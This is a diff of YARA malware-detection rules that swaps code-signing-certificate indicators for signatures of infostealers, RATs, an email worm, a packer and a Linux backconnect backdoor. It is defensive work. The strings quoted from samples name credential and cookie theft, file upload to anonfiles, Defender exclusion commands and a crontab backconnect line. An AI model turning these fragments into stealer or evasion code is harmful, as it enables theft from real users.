+		$s6 = "%USERDIR%" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HALL HAULAGE LTD LTD" and pe.signatures[i].serial=="28:90:51:a8:3f:35:0a:2c:60:01:87:c9:9b:6c:0a:73")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_25A28E418Ef2D55B87Ee715B42Afbedb : FILE
+rule DITEKSHEN_MALWARE_Win_Blitzgrabber : FILE
 {
 	meta:
-		description = "VMProtect Software CA Certificate"
+		description = "Detects BlitzGrabber infostealer"
 		author = "ditekSHen"
-		id = "dc0b80f1-c720-5d83-a92b-144b1fd05138"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4240527e-c2f8-5424-986a-c1616fafb9bb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6431-L6442"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10486-L10505"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be40d3b202b400eda7e78280b674823f789e292a35f0892ab3a323d1b055e789"
+		logic_hash = "8baceacf3c2af61e00b31e8106820b6f1ce2e7a9d98eaed965e698109ae08314"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "14e375bd4a40ddd3310e05328dda16e84bac6d34"
-		importance = 20
+
+	strings:
+		$x1 = "**BLITZED GRABBER V" wide
+		$x2 = "\\BlitzedGrabberV" ascii
+		$x3 = "Kyanite" ascii wide nocase
+		$s1 = /;\/\/(SCREENSHOT|PASSWORDS|FORKBOMB|MELTSTUB)\/\// ascii wide
+		$s2 = "KryptedWare" wide
+		$s3 = "chckcopyTemp" wide
+		$s4 = "chckscreenShot" wide
+		$s5 = "Plugin.Banking." ascii
+		$s6 = "sChromiumPswPaths" ascii
+		$s7 = ".CreateDownloadLink(" ascii
+		$s8 = "CaptureScreen()" ascii
+		$s9 = ".UploadFile(\"https://api.anonfiles.com/upload\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Enigma Protector CA" and pe.signatures[i].serial=="25:a2:8e:41:8e:f2:d5:5b:87:ee:71:5b:42:af:be:db")
+		uint16(0)==0x5a4d and (1 of ($x*) and 3 of ($s*)) or (7 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Vmprotect_Client : FILE
+rule DITEKSHEN_MALWARE_Win_Bagle : FILE
 {
 	meta:
-		description = "VMProtect Client Certificate"
+		description = "Detect Bagle / Beagle email worm"
 		author = "ditekSHen"
-		id = "f9fd6478-0fe5-54b6-ba33-79c02eb9ad04"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "32632bdf-6cf5-5542-8e1f-70686139a465"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6444-L6455"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10507-L10523"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d55d9fe608d5ff357a3bcf700a3d8bd9556f83c7c792b50d2276228a77209346"
+		logic_hash = "4c3a09f10c792de1ab25001da29ea2fee84c583d49d9a5225817644aabde2dea"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint1 = "2e20b7079e5d83e7987b2605db160d1561a0c07a"
-		hash1 = "284dc48fc2a66a1071117e5f7b2ad68fba4aae69f31cf68b6b950e6205b52dc0"
-		importance = 20
+
+	strings:
+		$s1 = "SOFTWARE\\DateTime" fullword ascii
+		$s2 = "%s?p=%lu" fullword ascii
+		$s3 = "-upd" ascii
+		$s4 = "[%RAND%]" fullword ascii
+		$s5 = "MAIL FROM:<%s>" fullword ascii
+		$s6 = "RCPT TO:<%s>" fullword ascii
+		$s7 = "Message-ID: <%s%s>" fullword ascii
+		$s8 = "Content-Disposition: attachment; filename=\"%s%s\"" fullword ascii
+		$s9 = "http://www.%s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VMProtect Client ")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_44Fe73F320Aa8B7B4F5Ca910Aa22333A : FILE
+rule DITEKSHEN_MALWARE_Win_Ragestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "fb7a2f49-d5b4-59af-b64b-27624ff18323"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detect Rage / Priv8 infostealer"
+		author = "ditekShen"
+		id = "dfc1abaa-d975-5e6a-ad4d-344031b0c40c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6457-L6468"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10525-L10540"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a456cd32eed6c1f037bc565e7a43f2a5a2237749afc31f6b7a8b8d7a657973c6"
+		logic_hash = "a26b86845bcd62d4a360a8dae9cfa56b5d96ebc521f224c18a01cc0a2bd958e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e952eb51416ab15c0a38b64a32348ed40b675043"
-		importance = 20
+
+	strings:
+		$x1 = "\\RageStealer\\obj\\" ascii
+		$x2 = "Priv8 Stealer" wide
+		$s1 = "\\Screen.png" wide
+		$s2 = "Content-Disposition: form-data; name=\"document\"; filename=\"{1}\"" wide
+		$s3 = "NEW LOG FROM" wide
+		$s4 = "GRABBED SOFTWARE" wide
+		$s5 = "DOMAINS DETECTED" wide
+		$s6 = "snder" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Alpeks LLC" and pe.signatures[i].serial=="44:fe:73:f3:20:aa:8b:7b:4f:5c:a9:10:aa:22:33:3a")
+		uint16(0)==0x5a4d and (1 of ($x*) and 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Df45B36C9D0Bd248C3F9494E7Ca822 : FILE
+rule DITEKSHEN_MALWARE_Win_Abubasbanditbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Abubasbandit Bot. Observed to drop cryptocurrency miner detected by MALWARE_Win_CoinMiner02"
 		author = "ditekSHen"
-		id = "95100ec5-01bf-5a5a-a703-b10d320beed1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8bedd1f7-bd77-5f26-8665-1d23fe56100f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6470-L6481"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10542-L10559"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "40f4ad4183ca0bc76295c535a9286994ef0e3f8ac932372328016d543bb58ab5"
+		logic_hash = "aae40178dadff720b42d211a025fd696eabdcc91761c6a91809f5f088c588c31"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4b1efa2410d9aab12af6c0b624a3738dd06d3353"
-		importance = 20
+
+	strings:
+		$x1 = "magickeycmd" ascii
+		$x2 = "chat_id" ascii
+		$x3 = "GetTempPathW" ascii
+		$x4 = "Add-MpPreference" ascii
+		$x5 = "-Command" ascii
+		$s1 = "application/x-www-form-urlencoded" ascii
+		$s2 = "gzip, deflate/index.html" ascii
+		$s3 = "powershellAdd-MpPreference -ExclusionPath" ascii
+		$s4 = "tar-xf-C" ascii
+		$s5 = "temp_file.bin" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MPO STORITVE d.o.o." and pe.signatures[i].serial=="df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22")
+		uint16(0)==0x5a4d and ( all of ($x*) or (4 of ($x*) and 2 of ($s*)) or (( all of ($s*) and 3 of ($x*))) or (8 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Adbb8Aebf8B53C6713Abaca38Be9Bf0A : FILE
+rule DITEKSHEN_MALWARE_Win_Oracrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects OracRAT / Comfoo / Babar"
 		author = "ditekSHen"
-		id = "b3edea3e-8844-58a5-a600-b0695869b2c3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "53f3778e-56d5-5390-8ce7-82d4ede46be4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6483-L6497"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10561-L10575"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d5e85240df57bf3b5ec4f690943f71609aaf2fb2f751b2919b6024b4247cd571"
+		logic_hash = "078a5df9f3d0bb8213ea2fe28eefdb453ef186e6c1f62d3ba10cb04fca047700"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9f9b9f5a85d3005e4c613b6c2ba20b6d5d388645"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\.\\DevCtrlKrnl" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\IE4\\Setup" fullword ascii
+		$s3 = "\\PLUGINS" fullword ascii
+		$s4 = "\\config\\sam" fullword ascii
+		$s5 = "\\iexplore.exe\" about:blank" fullword ascii
+		$s6 = "usbak.sys" fullword ascii
+		$s7 = "userctfm" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Konstant LLC" and (pe.signatures[i].serial=="ad:bb:8a:eb:f8:b5:3c:67:13:ab:ac:a3:8b:e9:bf:0a" or pe.signatures[i].serial=="00:ad:bb:8a:eb:f8:b5:3c:67:13:ab:ac:a3:8b:e9:bf:0a"))
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Ffc9825644Caf5B1F521780C5C7F42C : FILE
+rule DITEKSHEN_MALWARE_Win_Phemedronestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Phemedrone Stealer infostealer"
 		author = "ditekSHen"
-		id = "b9ed2db5-b7d4-5d74-bb11-1e8b1dfe1648"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "297aab1f-351c-5955-8a19-9aa2b7c94748"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6499-L6510"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10577-L10598"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9866608a02a043e6873c6fbd231cd733b3b5a1e5b77e3205e5cf53f5ae2bcadd"
+		logic_hash = "74e150cc971f5648f9e3f6146afba162b1a29cf2744c862b2320db52c2efa930"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4e7e022c7bb6bd90a75674a67f82e839d54a0a5e"
-		importance = 20
+
+	strings:
+		$p1 = /\{ file = \{(0|file)\}, data = \{(1|data)\} \}/ ascii wide
+		$p2 = "{ <>h__TransparentIdentifier0 = {0}, match = {1} }" wide
+		$p3 = "{ <>h__TransparentIdentifier1 = {0}, encrypted = {1} }" wide
+		$p4 = "{<>h__TransparentIdentifier0}, match = {match} }" ascii
+		$p5 = "{<>h__TransparentIdentifier1}, encrypted = {encrypted} }" ascii
+		$s1 = "<KillDebuggers>b__" ascii
+		$s2 = "<ParseExtensions>b__" ascii
+		$s3 = "<ParseDiscordTokens>b__" ascii
+		$s4 = "<IsVM>b__" ascii
+		$s5 = "<Key3Database>b__" ascii
+		$s6 = "masterPass" ascii
+		$s7 = "rootLocation" ascii
+		$s8 = "rgsServiceNames" ascii
+		$s9 = "rgsFilenames" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTIVUS LIMITED" and pe.signatures[i].serial=="1f:fc:98:25:64:4c:af:5b:1f:52:17:80:c5:c7:f4:2c")
+		uint16(0)==0x5a4d and (( all of ($p*) and 3 of ($s*)) or (3 of ($p*) and 4 of ($s*)) or (7 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3112C69D460C781Fd649C71E61Bfec82 : FILE
+rule DITEKSHEN_MALWARE_Win_WSHRAT : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WASHRAT"
 		author = "ditekSHen"
-		id = "a8092e36-92f9-5cb0-a427-74d40a39d94f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e7940b7f-51dd-5a32-899b-64310f27bf3e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6512-L6523"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10600-L10618"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9662a01369bc01367bcae7813b3fcb3050721471dd247885bcab8918de7c6b99"
+		logic_hash = "297bfe65815637a464e2a8fc23570c6e79694ffe0467d5898b7c845f1450de95"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "7ec961d2c69f7686e33f39d497a5e3039e512cf3"
-		importance = 20
+
+	strings:
+		$x1 = "WSH Rat v" wide
+		$x2 = "SOFTWARE\\WSHRat" wide
+		$x3 = "WSH Remote" wide nocase
+		$x4 = "WSHRAT" wide nocase
+		$s1 = "shellobj.regwrite \"HKEY_" ascii nocase
+		$s2 = "shellobj.run(\"%comspec% /c" ascii nocase
+		$s3 = "objhttpdownload.setrequestheader \"user-agent:\"," ascii nocase
+		$s4 = "WScript.CreateObject(\"Shell.Application\").ShellExecute" ascii nocase
+		$s5 = "objwmiservice.ExecQuery(\"select" ascii nocase
+		$s6 = "httpobj.open(\"post\",\"http" ascii nocase
+		$s7 = /(rdp|keylogger|get-pass|uvnc)\|http/ wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KREATURHANDLER BJARNE ANDERSEN ApS" and pe.signatures[i].serial=="31:12:c6:9d:46:0c:78:1f:d6:49:c7:1e:61:bf:ec:82")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 1 of ($s*)) or (6 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F64E5B34Dc0E4893495D3B9Fd9Cde4B7 : FILE
+rule DITEKSHEN_MALWARE_Win_Rustystealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect Rusty / Luca stealer"
 		author = "ditekSHen"
-		id = "d408b662-6328-55a8-ab64-42ea8f18c1cf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "af39f88c-e0df-51f6-bb11-f3a7231180d0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6525-L6536"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10620-L10643"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "497e63e4a19fa5b05d1098177dc73ae2255d4608d97e1001461dc4f8edced169"
+		logic_hash = "e60e66360c8f97a31e75cd90a12519f75f3a672874fc985a8da1d4d02e185b4d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "49373674eb2190c227455c9b5833825fe01f957a"
-		importance = 20
+
+	strings:
+		$s1 = "EdgeMicrosoftedgechromiumChromium7star7StaramigoAmigobraveBrave" ascii
+		$s2 = "BrowserchromeChromekometaKometaorbitumOrbitumsputnikSputniktorchTorchucozmediaUranuCozMediavivaldiVivaldiatom" ascii
+		$s3 = ".kdbx.pdf.doc.docx.xls.xlsx.ppt.pptx.odt.odp\\logscx\\sensfiles.zip" ascii
+		$s4 = "dumper.rs" ascii
+		$s5 = "decryption_core.rs" ascii
+		$s6 = "anti_emulation.rs" ascii
+		$s7 = "discord.rs" ascii
+		$s8 = /\\logscx\\(passwords_|cookies_|creditcards_)/ ascii
+		$s9 = "VirtualBoxVBoxVMWareVMCountry" ascii
+		$s10 = "New Log From ( /  )" ascii
+		$s11 = "BrowserChromeKometaOrbitumSputnikTorchUranuCozMediaVivaldiAtomMail" ascii
+		$s12 = "BrowserBraveSoftwareCentBrowserChedotChrome" ascii
+		$s13 = "ChromeKometaOrbitumSputnikTorchUranuCozMediaVivaldi" ascii
+		$s14 = "hostnameencryptedUsernameencryptedPasswordstruct" ascii
+		$s15 = "encryptedPassword" fullword ascii
+		$s16 = "AutoFill@~" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMASoft" and pe.signatures[i].serial=="f6:4e:5b:34:dc:0e:48:93:49:5d:3b:9f:d9:cd:e4:b7")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Bec31A0A40D2E834E51Ae704E1Bf9D3 : FILE
+rule DITEKSHEN_MALWARE_Win_Simplepacker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Hydrochasma packer / dropper"
 		author = "ditekSHen"
-		id = "9228c13e-b380-5867-ad1f-e483c8977196"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "449f7531-408f-5bda-aa64-d148c363c3e5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6538-L6549"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10645-L10656"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1fdd6e76deea106db9fc4ef0916b2cecd6edb3849847946f15c194a9028a76e"
+		logic_hash = "e2c07947fdf53814669250052f6cceb7412aa302422f3a0b430879da638c7e6a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7a236872302156c58d493b63a1607a09c4f1d0b8"
-		importance = 20
+
+	strings:
+		$p1 = "\\cloud-compiler-" ascii
+		$p2 = "\\deps\\simplepacker.pdb" ascii
+		$s1 = "uespemosarenegylmodnarodsetybdetqueue" ascii
+		$s2 = "None{\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "whatsupfuckers" and pe.signatures[i].serial=="6b:ec:31:a0:a4:0d:2e:83:4e:51:ae:70:4e:1b:f9:d3")
+		uint16(0)==0x5a4d and ( all of ($p*) or (1 of ($p*) and all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_9Fac361Ee3304079 : FILE
+rule DITEKSHEN_MALWARE_Multi_Golangbypassav : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect Go executables using GolangBypassAV"
 		author = "ditekSHen"
-		id = "4143adb3-bd23-549c-b862-0db3583be161"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bd41ff7e-ce57-5bee-b6ca-9341b4c1c1fa"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6551-L6565"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10697-L10707"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a32fe70e2242e587007c3985420c3bea25d35aff37f62881cc386bdeff22ca93"
+		logic_hash = "842dfc7c04cbd19bbbc8b6fbf9d9925f81a21dfb713af4542ca4157d64fa5b51"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2168032804def9cdbc1fc1a669377d494832f4ec"
-		importance = 20
+		clamav1 = "MALWARE.Win.Trojan.GolangBypassAV"
+		clamav2 = "MALWARE.Linux.Trojan.GolangBypassAV"
+
+	strings:
+		$s1 = "/GolangBypassAV/gen/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and (pe.signatures[i].serial=="9f:ac:36:1e:e3:30:40:79" or pe.signatures[i].serial=="00:9f:ac:36:1e:e3:30:40:79"))
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 1 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1895De749994D0Db : FILE
+rule DITEKSHEN_MALWARE_Win_Blankstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlankStealer / BlankGrabber / Blank-c Stealer"
 		author = "ditekSHen"
-		id = "2a8129ac-9838-5798-a115-ec03c1b3c205"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "19686781-4be8-56c1-b606-d8fe14dbdc48"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6567-L6578"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10709-L10721"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0b5e7998bd6303a12a8681bca88b7802caa08d9272196b830ffac5573b6e3772"
+		logic_hash = "cc0c8d3e0061d192e445ef661387360644ab428a9e9fc2480e966db96bc8264c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "069b9cb52a325a829aba7731ead939bc4ebf3743"
-		importance = 20
+		snort = "923829001"
+
+	strings:
+		$s1 = "Blank-c" ascii
+		$s2 = "Stealer License" ascii
+		$s3 = "UID=" ascii
+		$h1 = { 42 6c 61 6e 6b 2d 63 0a 53 74 65 61 6c 65 72 20 4c 69 63 65 6e 73 65 0a 55 49 44 3d }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and pe.signatures[i].serial=="18:95:de:74:99:94:d0:db")
+		( uint16(0)==0x4152 and 2 of them ) or ( all of ($s*) or 1 of ($h*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_28B691272719B1Ee : FILE
+rule DITEKSHEN_MALWARE_Linux_Getshell : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect GetShell Linux backdoor"
 		author = "ditekSHen"
-		id = "5a8cf540-701f-5f94-b630-ccbaa62abfdd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cccad93d-cd49-5237-96ac-66c9ac6ef532"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6580-L6591"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10723-L10743"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b2224f8107e7c50334c7e12963e4e37c0a6824c49842afb314c12d6de9d6bc5e"
+		logic_hash = "9d44ad2a3c270eed0e905402e8c32dcca54da90f4229d9d59874ee09b3b47277"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5dcbc94a2fdcc151afa8c55f24d0d5124d3b6134"
-		importance = 20
+		clamav1 = "MALWARE.Linux.Trojan.GetShell"
+
+	strings:
+		$x1 = "cat <(echo '@reboot echo socks5_backconnect" ascii
+		$x2 = "(cd  && )') <(sed '/socks5_backconnect" ascii
+		$s1 = "cat <(echo '@" ascii
+		$s2 = "(cd  && )') <(sed '" ascii
+		$s3 = "PORT1:" ascii
+		$s4 = "HOST1:" ascii
+		$s5 = "queryheader" ascii
+		$s6 = "qsectionpost" ascii
+		$s7 = "packedip" ascii
+		$s8 = "copydata" ascii
+		$s9 = "synsend" ascii
+		$s10 = "bc_connect" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and pe.signatures[i].serial=="28:b6:91:27:27:19:b1:ee")
+		uint16(0)==0x457f and (( all of ($x*) and 1 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E3B80C0932B52A708477939B0D32186F : FILE
+rule DITEKSHEN_MALWARE_Win_Solarmarker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SolarMarker"
 		author = "ditekSHen"
-		id = "41525cdd-f65a-5aad-bd99-1cdcf8b11981"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "78c2f739-76b2-5a80-8b9a-6c677d578eaa"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6593-L6607"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10745-L10763"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a0a95c20c5c82b460ddef686731d1053181cb5066bbb4f585a4f402f50efe030"
+		logic_hash = "84182c8948c2f40439cd932885ae8b88bb677ecc9fba366f22d30e13dc4ffb68"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1d2b5d4f0de1d7ce4abf82fdc58adc43bc28adee"
-		importance = 20
+
+	strings:
+		$x1 = "token_type" fullword ascii
+		$x2 = "request_data" fullword ascii
+		$x3 = "request_timeout" fullword ascii
+		$x4 = { 74 6f 6b 65 6e 73 00 66 72 6f 6d 00 74 6f 00 73 5f (66|72) }
+		$s1 = "set_UseShellExecute" fullword ascii
+		$s2 = "<Select>b__0" fullword ascii
+		$s3 = "<get>b__e" fullword ascii
+		$s4 = "<get>b__10" fullword ascii
+		$s5 = "<get>b__f" fullword ascii
+		$s6 = "<set>b__0" fullword ascii
+		$s7 = "<set>b__1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BISOYETUTU LTD LIMITED" and (pe.signatures[i].serial=="e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" or pe.signatures[i].serial=="00:e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f"))
+		uint16(0)==0x5a4d and ( all of ($x*) and 4 of ($s*))
 }
 import "pe"
 
